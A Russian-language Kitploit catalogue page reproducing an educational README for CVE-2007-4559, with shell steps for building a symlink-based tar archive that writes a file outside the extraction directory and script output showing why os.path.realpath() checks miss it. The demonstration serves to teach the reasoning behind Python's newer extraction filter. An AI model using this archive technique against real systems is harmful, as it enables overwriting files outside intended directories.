Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2007-4559 — Образовательная демонстрация CVE-2007-4559 атаки через симлинк в Python tarfile со скриптом, показывающим, почему os.path.realpath() не предотвращает извлечение за пределы целевых каталогов. | Kitploit
Инструменты/GitHubGitHub/davidholiday/cve-2007-4559
Статический анализАнализ уязвимостейАнализ КодаЭксплуатацияБезопасность Цепочки ПоставокОбучение и Образование
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

Образовательная демонстрация CVE-2007-4559 атаки через симлинк в Python tarfile со скриптом, показывающим, почему os.path.realpath() не предотвращает извлечение за пределы целевых каталогов.

Репозиторий
12 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

демонстрация CVE-2007-4559

что это?

Это демонстрация того, как стандартная обработка извлечения tar-файлов в Python до версии 3.11.4 уязвима для простой атаки с использованием симлинков. Инструкции ниже описывают, как создать вредоносный payload. Скрипт untar.py демонстрирует, как и почему работают функции, добавленные в 3.11.4, — а именно необходимость вызова чего-то вроде os.path.realpath() перед каждой записью для каждого файла. Скрипт использует точно такой же метод проверки, как и функция extraction filter, включённая в Python >= 3.11.4, ЗА ИСКЛЮЧЕНИЕМ того, что он не записывает файлы на диск. Таким образом, он показывает, что os.path.realpath() не способен правильно разрешать симлинки, что позволяет записывать члены tar-архива за пределами целевого расположения в файловой системе.

что здесь?

  • инструкции (этот файл) по настройке песочницы и созданию вредоносного tar-файла.
  • скрипт на Python untar.py, который демонстрирует «почему» за недавней реализацией улучшенной проверки tar-файлов в библиотеке tarfile Python. Из-за того, как работает os.path.realpath(), нельзя полагаться на него для разрешения симлинков, если эти ссылки ещё не существуют в файловой системе. Это означает, что нельзя полагаться только на os.path.realpath() для проверки путей членов tar-файла перед извлечением архива. Вместо этого необходимо вызывать os.path.realpath() перед каждой записью для каждого члена архива, чтобы обеспечить обнаружение вредоносной активности симлинков. Подробнее см. PEP-706 и документацию tarfile.

создание окружения и вредоносного tar-файла

  1. создайте тестовое окружение
root@kitploit:~
snerd@jess:~$ mkdir -p lab/{lib,target}
  1. добавьте папку ./lib в tar-архив
root@kitploit:~
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
  1. замените папку ./lib симлинком с тем же именем на "."
root@kitploit:~
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
  1. добавьте симлинк "lib" в архив
root@kitploit:~
snerd@jess:~/lab$ tar -rvPf terry.tar lib
  1. замените симлинк "lib" папкой и файлом
root@kitploit:~
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
  1. добавьте файл в архив, используя относительный путь
root@kitploit:~
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
  1. скопируйте tar-файл в целевую папку
root@kitploit:~
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
  1. распакуйте tar-файл. "dangerous_file" был распакован за пределами целевой папки
root@kitploit:~
snerd@jess:~/lab/target$ tar -xPvf terry.tar 
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib  terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file  lib  target  terry.tar

использование скрипта Python

  1. скачайте untar.py из этого репозитория и поместите его в папку ./lab

  2. запустите скрипт. обратите внимание, как легко обмануть os.path.realpath(), когда вредоносный симлинк ещё не записан в целевую файловую систему.

root@kitploit:~
snerd@jess:~/lab$ python3 untar.py 
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-

дополнительное чтение

  • [Python-Dev] уязвимость tarfile и обхода каталогов

  • Предупреждение: 15-летняя уязвимость Python tarfile скрывается в более чем 350 000 проектов

  • Пост на SO о безопасном извлечении tar-архивов до новых функций Python 3.11.4

  • тикет Python 21109

  • Заявление 2022 года от давнего [вышедшего на пенсию в 2019] мейнтейнера библиотеки tarlib

  • реализация новой функции фильтрации извлечения, введённой в Python 3.11.4

Скачать инструмент